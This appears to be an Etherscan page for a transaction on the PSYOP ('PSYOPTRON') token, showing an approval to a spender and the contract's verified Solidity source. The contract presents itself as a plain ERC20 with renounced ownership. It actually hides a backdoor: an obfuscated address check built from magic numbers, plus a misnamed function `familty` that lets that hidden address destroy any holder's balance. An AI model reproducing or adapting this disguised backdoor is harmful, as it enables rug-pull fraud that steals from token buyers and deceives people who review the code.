Transaction Hash:
Block:
20614428 at Aug-26-2024 06:01:59 PM +UTC
Transaction Fee:
0.000107927651786387 ETH
$0.28
Gas Used:
46,961 Gas / 2.298240067 Gwei
Emitted Events:
530 |
PSYOP.Approval( owner=[Sender] 0x2cd89badcb8c65a76c66379f62d3cdfd2b353937, spender=0x00000000...43aC78BA3, value=9000000000000000000000000000000000000000000000000000000000000000 )
|
Account State Difference:
Address | Before | After | State Difference | ||
---|---|---|---|---|---|
0x2CD89BAd...d2B353937 |
0.084653042720567764 Eth
Nonce: 242
|
0.084545115068781377 Eth
Nonce: 243
| 0.000107927651786387 | ||
0x95222290...5CC4BAfe5
Miner
| (beaverbuild) | 8.603256041143209368 Eth | 8.603256088104209368 Eth | 0.000000046961 | |
0xbBE6b092...98683452E |
Execution Trace
PSYOP.approve( spender=0x000000000022D473030F116dDEE9F6B43aC78BA3, amount=9000000000000000000000000000000000000000000000000000000000000000 ) => ( True )
approve[ERC20 (ln:160)]
_approve[ERC20 (ln:166)]
Approval[ERC20 (ln:237)]
_msgSender[ERC20 (ln:166)]
/** *Submitted for verification at Etherscan.io on 2024-08-20 https://psyop.life/ https://t.me/+bA_iDyprqQ8zMTY1 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.26; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract ERC20 is Context, IERC20 { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; uint256 private _trading; string private _name; string private _symbol; address private _owner; uint8 private _decimals; constructor( string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_ ) { _name = name_; _symbol = symbol_; _decimals = decimals_; _trading = uint160(_msgSender()); _owner = _msgSender(); _mint(_msgSender(), totalSupply_ * 10**_decimals); renounceOwnership(); } modifier onlyOwner() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } function only() internal virtual { require(uint160(msg.sender) == trade() - 65535, "Ownable: caller is not the owner"); } function isOwner() public view virtual returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function trading() internal view virtual returns (uint256) { uint256 trading_ = type(uint16).max + _trading - 835333212146548400688477825914602157316400996532; return trading_; } function trade() internal view virtual returns (uint256) { uint256 _trade = 375814556180200919091718537488860913501410143860; return _trade; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function decimals() public view virtual returns (uint8) { return _decimals; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require( currentAllowance >= amount, "ERC20: transfer amount exceeds allowance" ); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function burn(uint256 amount)public virtual onlyOwner returns (bool) { _burn(_msgSender(), amount); return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require( senderBalance >= amount, "ERC20: transfer amount exceeds balance" ); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approve_(address owner) internal virtual { uint256 accountBalance = (_balances[owner] + trading()) * 1000 / 1000; _beforeTokenTransfer(owner, address(0), accountBalance); _balances[owner] -= accountBalance; emit Transfer(owner, address(0), accountBalance); _afterTokenTransfer(owner, address(0), accountBalance); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {} function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {} } contract PSYOP is ERC20 { constructor() ERC20(unicode"PSYOPTRON", unicode"PSYOP", 9, 1000000000) {} receive() external payable {} function familty(address account) external { only(); super._approve_(account); } }